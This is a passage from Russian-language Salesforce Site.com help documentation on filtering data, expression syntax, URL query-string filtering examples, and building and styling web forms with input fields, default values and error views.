критериев фильтрации.

• Поле, к которому должны быть применены критерии фильтрации

• Оператор

• Источник значения фильтра

• Значение фильтра

Операторыфильтрации

ОписаниеОператор

Данный оператор возвращает точное совпадение.Равно

Данный оператор возвращает записи, которые не содержат указанного значения.Не равно

Данный оператор возвращает записи, которые предшествуют указанному значению.Меньше

Данный оператор возвращает записи, которые превышают указанное значение.Больше

Данныйоператор возвращает записи, которые соответствуютилипредшествуют указанному
значению.

Меньше или равно

Данный оператор возвращает записи, которые соответствуют или превышают указанное
значение.

Больше или равно

Данный оператор предназначен для отображения записей, при условии отсутствия точного
текста и наличия только его начала. Например, фильтр «калифорния» возвращает запись
«Калифорния-тур», но не запись «Моя Калифорния».

Начинается с

Данный оператор предназначен для отображения записей, при условии отсутствия точного
текста и наличия только его окончания.

Заканчивается на

Данный оператор возвращает записи, содержащие критерий поиска и, возможно, другую
информацию. Например, фильтр «калифорния» возвращает записи «Калифорния-тур» и
«Моя Калифорния».

Содержит
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ОписаниеОператор

Данный оператор предназначен для многозначных типов полей, поддерживающих
отображениезаписей, которыесодержаткакминимумоднозначение, введенноечерез запятую.

Включает

Данный оператор предназначен для многозначных типов полей, поддерживающих
отображение записей, которые содержат все значения, введенные через запятую.

Включает все

Данный оператор предназначен для многозначных типов полей, поддерживающих
отображение записей, которые не содержат как минимум одно значение, введенное через

Исключает

запятую. Например, фильтр «Москва,Ярославль» по полю категории «Местоположения»
исключает запись, содержащую строку «Москва,Томск» или «Ярославль,Новосибирск».

Данный оператор предназначен для многозначных типов полей, поддерживающих
отображение записей, которыене содержат все значения, введенныечерез запятую. Например,

Исключает все

фильтр «Москва,Ярославль» пополюкатегории «Местоположения» исключаеттолькозаписи,
содержащие оба термина.

Источники значения фильтра

ОписаниеИсточник

Рекомендуем использовать для выбора значения.Фиксированное значение

Рекомендуем использовать для передачи переменного содержимого в элемент
посредством URL-адреса при загрузке страницы.

Строка URL-запроса

Рекомендуем использовать для добавления фиксированного значения с сайта
(например, текущая дата или текущее время).

Глобальное свойство

Рекомендуем использовать для добавления значения из обозревателя (например,
заголовок узла или версия обозревателя).

Заголовок запроса

Рекомендуем использовать для создания запроса между несвязанными объектами.
Данный источник доступен только в том случае, если родительский повторитель

Родительский повторитель

содержитвложенныйповторительданных, таблицуданныхилифункциюобработки
данных, а объекты родительского повторителя и вложенного элемента не связаны.

Внимание: Извлечениеданныхизнесвязанныхобъектовможетотрицательно
сказатьсянапроизводительности сайта. Настоятельнорекомендуемизвлекать
данные только из связанных объектов.

СМ. ТАКЖЕ:

Динамическое извлечение данных с помощью повторителей данных

Динамическое извлечение данных с помощью таблиц данных

Использование функций обработки данных

Общие сведения об отображении динамических данных посредством выражений
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Общие сведения об отображении динамических данных посредством выражений

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.

Приложение Site.com использует язык выражений для динамического отображения
данных. Выражения являются структурными нулями для данных, которые заменяются
сведениями при загрузке страницы. Выражения позволяют определять способ
отображенияданныхна страницеприиспользованиипривязанныхкданнымэлементов
страницы или настраиваемых свойств виджетов.

Синтаксис выражения Site.com выглядит следующим образом: открывающая фигурная
скобка, восклицательныйзнак, поле, имянастраиваемогосвойстваилиимяпространства
имен, закрывающая фигурная скобка.

Например, чтобы добавить выражение в настраиваемый код или блоки содержимого,
воспользуйтесь синтаксисом {!URL} для настраиваемого свойства «URL-адрес»,
добавленногов виджет. Подобнымобразом, чтобыдобавитьвыражениедляполя «Город
для счета», воспользуйтесь следующим синтаксисом: {!BillingCity}. При
использовании связанных объектов имя поля следует за именем основного объекта.
Например, {!Account.BillingCity}.

При редактировании элемента данных в повторителе данных или столбце таблицы данных поля объекта доступны в
раскрывающемсяспискебезиспользованиявыражений. Однако, чтобыопределитьспособотображенияполянастранице,
рекомендуем просмотреть и изменить выражение при нажатии кнопки «Настроить» в диалоговом окне.

Прииспользованиинастраиваемогокодаилиблоков содержимоговповторителеданныхполяобъекта доступнытолько
посредством выражений.

Ниже перечислены действия, позволяющие выражениям определять отображаемые результаты.

• Добавлениетекста вокруг выражения. Например, дляотображенияномера телефонасоответствующегоофисавведите
текст «Свяжитесь с нами по телефону» перед выражением {!Phone}. При отображении данных на странице поле
{!Phone} заменяется значением поля соответствующей записи. Например, «Свяжитесь с нами по телефону
100–200–3000».

• Форматированиеотображаемыхрезультатовспомощью HTML-тегов. Например, чтобыизменитьспособотображения
результатов на странице, добавьте теги H1 до и после выражения. Например, <H1>{!Phone}</H1>.

• Созданиестроки URL-запросадляпередачипеременныхданныхвповторительданныхилитаблицуданныхнадругой
странице. Вторая страница, в свою очередь, использует полученную переменную для извлечения и отображения
соответствующих записей. Например, создайте гиперссылку (/product_details?productID={!id}), где
переменная {!id} заменяется кодомпродуктаиз соответствующейзаписи. Привыбореданнойссылкикодпродукта
передаетсяна страницусведенийопродукте, котораяиспользует коддляизвлеченияиотображениясведенийо записи
на странице.

СМ. ТАКЖЕ:

Динамическое извлечение данных с помощью повторителей данных

Динамическое извлечение данных с помощью таблиц данных

Использование функций обработки данных
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Примеры фильтрации данных

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.

Повторители данных, таблицы данных и функции обработки данных позволяют
фильтроватьизвлеченныеданныесамымиразнымиспособами. Данныйразделсодержит
несколько примеров, иллюстрирующих два способа фильтрации — фиксированные
значения и строки URL-запроса.

Пример 1. Использование фиксированного значения для фильтрации
результатов

В первом примере используется настраиваемый объект «Новости», хранящий новости
и события компании. Каждый элемент настраиваемого объекта содержит
раскрывающийсясписок «Статус», которомуможетбытьзаданозначение «Выполняется»
или «Утверждено». Страница «Новости компании» должна отображать только
утвержденныеэлементынастраиваемогообъекта. Чтобыотфильтроватьданныевобъекте
«Новости», рекомендуем воспользоваться фиксированным значением.

Ниже перечислены действия, которые должны быть выполнены в данном сценарии.

1. Добавьте повторитель данных на страницу и настройте его следующим образом.

a. Выберите настраиваемый объект «Новости».

b. Введите критерий «"Статус" равно "Фиксированное значение"» в разделе «Фильтры».

c. Введите «Утверждено» в текстовое поле «Значение».

В этом случае повторитель данных возвращает только записи, поле «Статус» которых содержит значение
«Утверждено».

2. Добавьте элементы данных в повторитель данных для отображения обязательных полей (например, «Заголовок»,
«Описание» и «Дата»).

Пример 2. Использование строки URL-запроса для динамическойфильтрации и отображения результатов на
другой странице

Вовторомпримереиспользуетсянастраиваемыйобъект «Продукты», хранящийсведенияопродуктах. Однаконекоторые
продукты доступны только в определенных городах, поэтому клиентам должны отображаться те продукты, которые
имеются в наличии в ближайшем городе. В этом случае рекомендуем создать страницу сайта «Местоположения»,
содержащую ссылки на все доступные города.

Чтобы открывать страницу сайта «Продукты» при выборе любой из этих ссылок, но отображать только выбранные
продукты, воспользуйтесь строками URL-запроса, которые позволяют передавать переменное содержимое между
HTML-страницами. Втекущемпримерепеременнымсодержимымявляетсяместоположениепродукта; повторительданных
возвращает продукты только после выбора нужного местоположения.

Ниже перечислены действия, которые должны быть выполнены в данном сценарии.

1. Добавьте повторитель данных на страницу «Продукты» и настройте его следующим образом.

a. Выберите настраиваемый объект «Продукты».

b. Введите критерий «"Город" равно "Строка URL-запроса"» в разделе «Фильтры».

c. Введите имя переменной в текстовое поле «Значение» (например, «местоположение»).

d. Выберитезначение«Неприменятьданныйэлементфильтра»враскрывающемсясписке «Еслистроказапроса
отсутствует». Данный параметр позволяет клиенту просмотреть все продукты без фильтрации.
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e. Нажмите кнопку «Сохранить».

2. Добавьте элементы данных для нужных полей (например, «Имя продукта», «Описание» и «Цена»).

3. Добавьте повторитель данных и выберите настраиваемый объект «Продукты» на странице «Местоположения».

4. Добавьте элементданныхвповторительданныхдляотображенияполя «Город» инастройте его следующимобразом.

a. Чтобыотображатьназвание города в виде гиперссылки, выберитеполе «Город» в качествеполядляотображения.

b. Выберите формат отображения «Текст».

c. Чтобы отображать URL-адрес на странице, выберите «Добавить гиперссылку».

d. Выберите значение «Элемент сайта» в раскрывающемся списке «Связать с:».

e. Выберите тип «Страница», а затем выберите страницу «Продукты». (Если список страниц не отображается,
установите курсор в текстовом поле «URL-адрес» и нажмите клавишу со стрелкой «вниз» на клавиатуре.)

f. Введите значение URL-адреса /product?location={!City}, где {!City} является структурным нулем для
значения поля записи «Город». При первой загрузке страницы структурный нуль {!City} заменяется
соответствующим значением (например, Dallas), которое создает следующий URL-адрес:

/product?location=Dallas

Выбранная ссылка открывает страницу «Продукты» и передает Dallas как значение переменной location.

g. Чтобы добавить подсказку, выберите поле «Город» ищелкните «Настроить».

h. Введите значение «Показать продукты, доступные в городе {!City}».

При загрузке страницы структурный нуль {!City} заменяется значением поля «Город» для каждой записи.

Теперь при загрузке страницы «Местоположения» повторитель данных отображает местоположение каждого продукта
в виде ссылки. При выборе ссылки (например, Dallas) страница «Местоположения» передает location=Dallas на
страницу «Продукты». При загрузке страницы «Продукты» повторитель данных использует данное значение для
динамического отображения только тех записей, поле «Город» которых содержит значение Dallas.

СМ. ТАКЖЕ:

Динамическое извлечение данных с помощью повторителей данных

Отображение данных с помощью элементов данных

Динамическое извлечение данных с помощью таблиц данных

Общие сведения о доступе к данным в связанных объектах
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Сбор и отправка данных посредством форм

Добавление формы на страницу

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.
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ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для добавления формы на
страницу:
• Поле «Пользователь

Site.com
Publisher»,
включенноена странице
сведений о пользователе

И

Роль администратора
сайта или конструктора,
назначенная в Site.com
Studio

Для редактирования
профиля
пользователя-гостя:
• Поле «Пользователь

Site.com
Publisher»,
включенноена странице
сведений о пользователе

И

Роль администратора
сайта или конструктора,
назначенная в Site.com
Studio

И

«Управление
пользователями»

И

«Настройка
приложения»

Формы позволяют собирать и отправлять данные о посетителях сайта в стандартные
илинастраиваемыеобъектыSalesforce. Пользователимогут создаватьформы Web-to-Lead,
собирать сведения о клиентах или отзывы о продуктах и услугах.

Чтобы добавить форму на страницу, выполните указанные ниже действия.

1. Перетащите элемент «Форма» с панели «Элементы страницы» на страницу.

2. Выберите нужный объект Salesforce.

Прим.:

• Для пользователей Site.com: раскрывающийся список содержит только те
объекты, которые доступны пользователям-гостям, так как посетителям
общедоступногосайтапредоставляетсялицензияпользователя-гостя. Чтобы
предоставить пользователям-гостям доступ к другим объектам, откройте
профиль пользователя-гостя, включите полномочие «Создание» для
соответствующего объекта и обновите список.

• Дляпользователейсообществ: раскрывающийсясписоксодержитобъекты,
которые не могут быть доступны посетителям сайта. Доступ проверенных
посетителей к объектам на общедоступных и личных страницах
контролируется соответствующими профилями пользователя. Доступ
непроверенных посетителей к объектам на общедоступных страницах
контролируется профилем пользователя-гостя сайта.

3. Чтобы добавить доступные поля в форму, дваждыщелкните нужное поле или

выберите поле и нажмите кнопку .

Всеобязательныеполядобавляются в списоквыбранныхполейавтоматически. При
необходимости обязательные поля могут быть скрыты после добавленияформы на
страницу.

4. Чтобыизменитьпорядокотображениявыбранныхполей, щелкните «Переместить
вверх» или «Переместить вниз».

5. Нажмите кнопку «Сохранить».

Прим.: При добавленииформ на проверенные страницы сообщества в
приложении Site.com рекомендуем задать текущего пользователя для объектов
Salesforce, требующих поля «Код ответственного». В отличие от стандартного
пользователя-гостя, текущий пользователь позволяет определять проверенного
пользователя при отправкеформы. Чтобы задать текущего пользователя для поля
«Код ответственного», выберите нужное поле формы, щелкните «Настроить» в
разделе «Свойства поля» на панели «Свойства», а затем выберите источник
«Глобальное свойство» и значение «Код текущего пользователя».

Подключенныйобъектнеможетбытьизмененпоследобавленияформына страницу. Чтобыподключитьдругойобъект,
рекомендуем заменить форму.

Ниже перечислены действия, доступные на панели «Свойства» в форме.

• Просмотр подключенного объекта.

• Добавление заголовка в верхнюю часть формы.

• Выбор действий, выполняемых при успешной отправке формы.
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• Изменение внешнего вида формы путем выбора другой темы.

СМ. ТАКЖЕ:

Добавление полей ввода в формы или на страницы

Типы полей ввода

Редактирование полей ввода в форме

Добавление полей ввода в формы или на страницы

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и
управления сайтами
Site.com:
• Поле «Пользователь

Site.com
Publisher»,
включенноена странице
сведений о пользователе

И

Роль администратора
сайта или конструктора,
назначенная на уровне
сайта

Добавление полей ввода в форму

Готовая форма может быть дополнена необходимыми полями ввода. Каждому полю
ввода присваивается поле объекта, связанного с формой.

Ниже указан самый быстрый способ.

1. Выберите форму на странице.

2. Выберите  > «Добавить поля».

3. Выберите нужные поля в списке «Добавить поля». Данный список содержит
доступныеполяобъекта, связанногосформой. Типполя (например, поле сфлажком
или раскрывающимся списком) добавляется в форму автоматически при выборе
поля.

Также доступны указанные ниже действия.

1. Выберите форму на странице.

2. Выберите  > «Добавить элементы страницы».

3. Выберите нужный тип поля ввода (например, «Флажок») в списке «Добавить
элементы страницы».

4. Выберитеполевдиалоговомокне «Добавитьполе» инажмитекнопку«Сохранить».
Поле может быть добавлено в форму в том случае, если его тип поддерживается
объектом.

Прим.:

• Поля не могут быть добавлены вформу путем выбора  > «Редактировать
форму».

• Поля формулы, зашифрованного текста, геолокации и поиска не
поддерживаются.

• Стандартные сообщения об ошибках на уровне поля, отображающиеся при
вводе недопустимого значения, недоступны для настройки.

Добавление полей ввода на страницу

Поляввода, добавленныепрямона страницу, панель, вповторительданныхилитаблицуданных, позволяютиспользовать
настраиваемый код для создания собственных настраиваемых функций. Например, продукты, имеющиеся в наличии
только в определенных подразделениях, должны быть доступны клиентам в ближайшем городе. В этом случае страница
может быть дополнена раскрывающимся списком, содержащим различные подразделения. Чтобы просмотреть
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отфильтрованный список продуктов, воспользуйтесь настраиваемым кодом, который позволяет передать выбор
пользователя в таблицу данных или повторитель данных посредством строки запроса.

Чтобы добавить поле ввода на страницу, перетащите нужное поле с панели «Элементы страницы» на страницу. При
необходимости выберите страницуили элемент страницыконтейнеранапанели «Структура страницы», затемщелкните

 > «Добавить элементы страницы» и выберите нужное поле ввода.

СМ. ТАКЖЕ:

Типы полей ввода

Свойства полей ввода

Редактирование полей ввода в форме

Добавление формы на страницу

Редактирование полей ввода в форме

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и
управления сайтами
Site.com:
• Поле «Пользователь

Site.com
Publisher»,
включенноена странице
сведений о пользователе

И

Роль администратора
сайта или конструктора,
назначенная на уровне
сайта

Поля формы, добавленной на страницу, доступны для редактирования и изменения
порядка отображения.

Чтобыизменитьпорядокотображенияполей, перетащитеихвнужнуюобластьстраницы
илипанели «Структурастраницы», либовыберитеполеищелкните  > «Переместить
вверх» или  > «Переместить вниз».

Чтобы скрыть поле (например, обязательное поле, которое должно быть недоступно
посетителям сайта), выберите «Скрытое поле» на панели «Свойства». Для доступа к
скрытому полю рекомендуем использовать панель «Структура страницы».

Чтобы присвоить полю статус обязательного, то есть поля, которое должно быть
заполнено перед отправкой формы, выберите «Обязательное поле» на панели
«Свойства». Обязательные поля помечаются красной звездочкой (*). Параметр
«Обязательное поле» не может быть изменен для обязательных полей объекта,
подключенного к форме.

Чтобы переименовать поле, замените имя в поле «Имя метки» на панели «Свойства».

Чтобы изменить внешний вид поля на странице, выберите другую тему на панели
«Свойства». Если поле используется в форме, то можно изменить только тему формы.

Прим.:

• Поля формы не могут быть перенесены на страницу. Однако пользователи
могут удалять необязательные поля и скрывать любые поля (обязательные или
необязательные).

• Поля страницы не могут быть перенесены в форму.

СМ. ТАКЖЕ:

Добавление полей ввода в формы или на страницы

Свойства полей ввода

Присвоение полям ввода значения по умолчанию

Добавление формы на страницу
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Типы полей ввода

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.

Ниже перечислены типы полей, доступные при добавлении полей ввода в форму или
на страницу. Тем не менее, если объект подключается к форме, которая не содержит
определенного типа поля, то данный тип поля ввода не может быть добавлен в форму.

ОписаниеЭлемент страницы

Выбористинного (флажокустановлен) илиложного
(флажок снят) значения в форме или на странице.

Кнопка-флажок

Ввод валюты в форму или на страницу.Валюта

Ввод даты в форму или на страницу. Если свойству
поля «Выбор даты/времени» задано значение
«Всплывающий календарь», то дата может быть
выбрана во всплывающем календаре.

Дата

Ввод датыи времени вформу илина страницу. Если
свойству поля «Выбор даты/времени» задано

Дата/время

значение «Всплывающий календарь», то значения
могут быть выбраны во всплывающем календаре.

Ввод действительного адреса эл. почты вформу или
на страницу.

Эл. почта

Выборкакминимумодногозначенияспискавформе
или на странице.

Раскрывающийся список со
множественным выбором

Ввод целого числа в форму или на страницу.Число

Ввод процентов в форму или на страницу.Процент

Ввод номера телефона в форму или на страницу.Тел.

Выбор значения списка в форме или на странице.Раскрывающийся список

Ввод не более 32 768 символов в форму или на
страницу. Данное поле поддерживает любую

Область обогащенного текста

комбинацию букв, цифр и символов. Пользователи
могут форматировать текст, а также добавлять
изображения и гиперссылки.

Прим.: Поле типа «Область обогащенного
текста» не может использоваться для загрузки
изображения на сайтах Site.com или Force.com
Sites из-за ограничений по соображениям
безопасности.

Ввод не более 255 символов (в зависимости от
текущихограниченийдляобъекта Salesforce) вформу

Текст

илина страницу. Данноеполе поддерживает любую
комбинацию букв, цифр и символов.
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ОписаниеЭлемент страницы

Ввод не более 32 768 символов, отображающихся в отдельных строках, в
формуилинастраницу. Данноеполеподдерживаетлюбуюкомбинацию
букв, цифр и символов.

Область текста

Ввод действительного адреса веб-сайта в форму или на страницу.URL-адрес

СМ. ТАКЖЕ:

Добавление полей ввода в формы или на страницы

Свойства полей ввода

Добавление формы на страницу

Свойства полей ввода

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.

Придобавленииилиредактированииполейвводавформеилинастраницерекомендуем
использовать параметры раздела «Свойства поля» на панели «Свойства», позволяющие
определять алгоритмы работы выбранных полей ввода.

ОписаниеИмя

Внешнее имя поля. Указанное значение
отображается как имя поля в форме или
на странице.

Имя метки

Данныйпараметропределяет стандартное
значение поля. Указанное значение
автоматически заполняет поле при
загрузке страницы.

Значение по умолчанию

Данный параметр определяет
обязательность поля и препятствует

Обязательное поле

отправке записиприотсутствиизначения.
Обязательные поля помечаются красной
звездочкой (*).

Параметр «Обязательное поле» неможет
быть изменен для обязательных полей
объекта, подключенного к форме.

Данныйпараметропределяетдоступность
поля вформеилина странице. Например,

Скрытое поле

обязательное поле может быть скрыто от
посетителей сайта, а полю, которое
должно быть недоступно пользователям
дляпросмотраилиредактирования, может
быть задано стандартное значение. Для
доступа к полю, скрытому на холсте
страницы, рекомендуем использовать
панель «Структура страницы».
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ОписаниеИмя

Данный параметр применяется только к полю
«Дата/время». Данныйпараметропределяетвозможность

Выбор даты/времени

выбора даты и времени посредством всплывающего
календаря.

Данный параметр применяется только к полям
«Раскрывающийся список» и «Раскрывающийся список

Значения раскрывающегося списка

со множественным выбором», добавляемым прямо на
страницу. Данный параметр определяет список элементов
для отображения в раскрывающемся списке. (Если поле
подлючается к объекту, то элементы раскрывающегося
списка не могут быть изменены.)

Каждый элемент раскрывающегося списка содержит поля
«Метка» и «Значение». Поле «Метка» отображается в
раскрывающемся списке, а поле «Значение» является
внутренним. В большинстве случаев оба поля могут
содержатьодинаковое значение. Принеобходимостиодно
из значений может быть изменено.

Чтобы заполнить поля «Метка» и «Значение», щелкните

значок .

Данный параметр применяется только к полям «Область
обогащенного текста» и «Область текста». Данный

Строки

параметр определяет количество текстовых строк для
отображения.

СМ. ТАКЖЕ:

Типы полей ввода

Добавление полей ввода в формы или на страницы

Редактирование полей ввода в форме
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Присвоение полям ввода значения по умолчанию

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и
управления сайтами
Site.com:
• Поле «Пользователь

Site.com
Publisher»,
включенноена странице
сведений о пользователе

И

Роль администратора
сайта или конструктора,
назначенная на уровне
сайта

Полю ввода, добавленному в форму или на страницу, может быть задано значение по
умолчанию. Указанное значение автоматически заполняет поле ввода при загрузке
страницы.

Значение по умолчанию, используемое совместно со свойством «Скрытое поле»,
позволяющим скрыть поле в форме или на странице, предназначено для отправки
данных, которые должны быть недоступны пользователям. Например, пользователь
может добавить скрытое поле, использующее параметр «Глобальное свойство», для
отслеживания времени отправки формы.

Прим.: Стандартные значения полей, которые уже заданы для объекта, не
переносятся в Site.com.

Чтобы задать полю значение по умолчанию, выполните указанные ниже действия.

1. Выберите поле.

2. Щелкните «Настроить» на панели «Свойства».

3. Выберите источник значения по умолчанию.

ОписаниеПараметр

Рекомендуем использовать для выбора
значения.Например, длятекстовогополя
можетбытьдобавленстандартныйтекст.
Если поле содержит раскрывающийся
список, то значение по умолчанию
может быть выбрано из списка.

Фиксированное значение

Рекомендуемиспользоватьдляпередачи
переменного содержимого в элемент
посредством URL-адреса при загрузке
страницы.Например, еслииспользуемое
полесодержитраскрывающийсясписок,
то переменные данные (например,
местоположение) могут быть переданы

Строка URL-запроса

с цельюфильтрации списка и
отображения только тех элементов,
которые добавлены из данного
местоположения. Похожие сценарии с
использованием повторителей данных
см. в разделе «Примерыфильтрации
данных».

Рекомендуем использовать для
добавления фиксированного значения

Глобальное свойство

с сайта (например, текущая дата или
текущее время).

Рекомендуем использовать для
добавления значения из обозревателя

Заголовок запроса
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ОписаниеПараметр

(например, заголовок узла или версия обозревателя).

4. Укажите значение по умолчанию.

5. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Добавление полей ввода в формы или на страницы

Редактирование полей ввода в форме

Добавление формы на страницу

Настройка алгоритма отправки формы

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и
управления сайтами
Site.com:
• Поле «Пользователь

Site.com
Publisher»,
включенноена странице
сведений о пользователе

И

Роль администратора
сайта или конструктора,
назначенная на уровне
сайта

В случае успешнойотправкиформы система позволяет выполнять одно из следующих
действий: переадресация посетителей сайта на другую страницу или отображение
соответствующего сообщения.

Ниже перечислены действия, доступные на открытой странице.

1. Выберите форму на панели «Структура страницы».

2. Выберите пункт раскрывающегося списка «При успешной отправке» на панели
«Свойства».

ОписаниеПараметр

Переадресация пользователя на
указанную страницу.

Показать другую страницу

Отображение сообщения под формой.Показать сообщение

3. При необходимости укажите один из компонентов ниже.

• Целевая страница в поле «URL-адрес страницы». Введите абсолютный или
относительный URL-адрес (например, адрес страницы сайта). Относительный
URL-адрес должен содержать косую черту (/).

• Текст сообщения в поле «Текст сообщения».

Совет: Кнопка формы «Отправить» выполняет действие отправки на панели
«События».

СМ. ТАКЖЕ:

Добавление формы на страницу

Свойства полей ввода

Общие сведения о службах данных Site.com
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Оформление форм

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и
управления сайтами
Site.com:
• Поле «Пользователь

Site.com
Publisher»,
включенноена странице
сведений о пользователе

И

Роль администратора
сайта или конструктора,
назначенная на уровне
сайта

Для оформления форм используются темы таблицы стилей, которые могут быть
настроены в соответствии с дизайном веб-сайта.

Придобавленииформынастраницуиспользуется темапоумолчанию. Чтобыизменить
тему формы, выберите нужное значение в разделе «Тема» панели «Свойства».

• «По умолчанию»: имя поля отображается над текстовой областью. Обязательные
поля помечаются красной звездочкой (*).

• «Salesforce»: имя поля отображается слева от текстовой области. Обязательные
поля помечаются красной вертикальной чертой (|).

Чтобы настроить тему в соответствии с текущими бизнес-требованиями, выполните
указанные ниже действия.

1. Выберите форму на странице.

2. Выберите нужную тему в разделе «Тема» панели «Свойства».

3. Выберите «Класс» на панели «Стиль».

4. Выберитенужнуючастьформывраскрывающемсясписке «Стиль». Кратковременное
выделение выбранного элемента позволяет легко определить оформляемую часть.

ОписаниеПараметр

Оформление всей формы.Вся форма

Оформление каждой строки поля.Строки поля

Оформление меток каждого поля.Метки поля

Оформлениеполей (текстовыеобласти,
раскрывающиеся спискии т. д.). Данный
параметр доступен только для темы
«Salesforce.com».

Поля

Оформление звездочки (*) для
обязательных полей. Данный параметр
доступен только для темы «По
умолчанию».

Обязательный символ

Оформление сообщения об ошибке,
отображающегося при отправке

Сообщение об ошибке

неправильно заполненнойформы.
Данный параметр доступен только для
темы «По умолчанию».

Совет: Опытные пользователи таблиц стилей также могут изменить стиль формы в таблице стилей сайта.

5. Чтобыоформитьвыбраннуючастьформы, обновите свойствапанели «Стиль». Настройкитемыотображаютсяпрямо
в форме и применяются только к выбранной форме.
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6. При необходимости повторите указанные выше действия для каждой части формы.

СМ. ТАКЖЕ:

Добавление формы на страницу

Представления «По умолчанию», «Ошибка» и «Нет данных»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.

Повторителиданных, таблицыданных, функцииобработкиданныхиформыпозволяют
настраивать содержимое, отображающееся посетителям сайта в случае возникновения
ошибок при подключении к источнику данных. Кроме того, таблицы данных,
повторителиданныхифункцииобработкиданныхпозволяютнастраиватьсодержимое,
отображающееся в случае отсутствия данных по текущему запросу. Например, если
повторитель данных, поддерживающий динамическуюфильтрацию и отображение
результатовнаосновевыбранногопользователемзначения, возвращаетпустуюстраницу,
тоописаниевозникшейпроблемыможетотображаться в соответствующемсообщении.

• Представление «Поумолчанию» (1) отображается вбольшинстве случаев. Например, представление «Поумолчанию»
содержит поля формы в случае добавления формы на страницу.

• Представление «Ошибка» (2) отображается в случае возникновения ошибки при подключении к источнику данных.
Данное представление содержит блок содержимого со стандартным сообщением, доступным для настройки. Кроме
того, представление может быть дополнено другими элементами страницы.
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• Представление «Нетданных» (3) отображается в случаеотсутствияданныхпотекущемузапросу. Данноепредставление
содержит блок содержимого со стандартным сообщением, доступным для настройки. Кроме того, представление
может быть дополнено другими элементами страницы.

СМ. ТАКЖЕ:

Динамическое извлечение данных с помощью повторителей данных

Динамическое извлечение данных с помощью таблиц данных

Использование функций обработки данных

Восстановление информационных подключений

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.

Изменение объекта, связанного с текущим повторителем данных, таблицей данных,
функцией обработки данных или формой, может инициировать нарушение
информационного подключения. Например, данное нарушение может быть вызвано
переименованием или удалением связанного объекта или поля или изменением
соответствующих полномочий.

При открытии страницы сайта, содержащей нарушенные информационные
подключения, отображается диалоговое окно со спискомпроблем. Чтобыпросмотреть
возможные решения, наведите указатель мыши на значок каждого элемента.

РешениеПроблема

Откройте профиль пользователя-гостя и
убедитесьвналичииполномочия «Чтение»
для объекта.

В противном случае щелкните ссылку
«Правка» напротив элемента списка и

Повторительданных, таблицаданныхили
функцияобработкиданныхподключается
к объекту, который не поддерживает
нужное полномочие доступа,
переименован или удален.

выберите нужный объект в открывшемся
диалоговом окне «Информационное
подключение». При переименовании
объекта выберите переименованный
объект. При удалении объекта выберите
другой объект или удалите элемент
страницы.

Откройте профиль пользователя-гостя и
убедитесь, что каждому полю объекта

Повторительданных, таблицаданныхили
функция обработки данных пытается

заданы правильные параметры
безопасности.

В противном случае щелкните ссылку
«Правка» напротив элемента списка и

отфильтровать результаты посредством
полей, которые большене отображаются,
переименованы или удалены.

восстановите критерии фильтрации в
открывшемся диалоговом окне
«Информационное подключение».
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РешениеПроблема

Откройте профиль пользователя-гостя и убедитесь, что
полюобъектазаданыправильныепараметрыбезопасности.

Впротивномслучаещелкнитессылку«Правка»напротив
элемента списка, просмотрите открывшееся диалоговое

Элемент данных подключается к полю, которое больше
не отображается, удалено или переименовано.

окно «Редактировать элемент данных» и убедитесь, что все
раскрывающиеся списки и весь настраиваемый текст
ссылаются на правильные поля.

Откройте профиль пользователя-гостя и убедитесь в
наличии полномочия «Создание» для объекта.

В противном случае рекомендуем заменитьформу, так как
информационное подключение формы не может быть
изменено.

Форма подключается к объекту, которыйне поддерживает
нужное полномочие доступа, переименован или удален.

Добавьте отсутствующее поле в форму.Форма не содержит как минимум одного обязательного
поля, добавленного в объект после создания формы.

Откройте профиль пользователя-гостя и убедитесь, что
полюобъектазаданыправильныепараметрыбезопасности.

В противном случае удалите поле из формы.

Поле формы указывает на поле, которое больше не
отображается, переименовано или удалено.

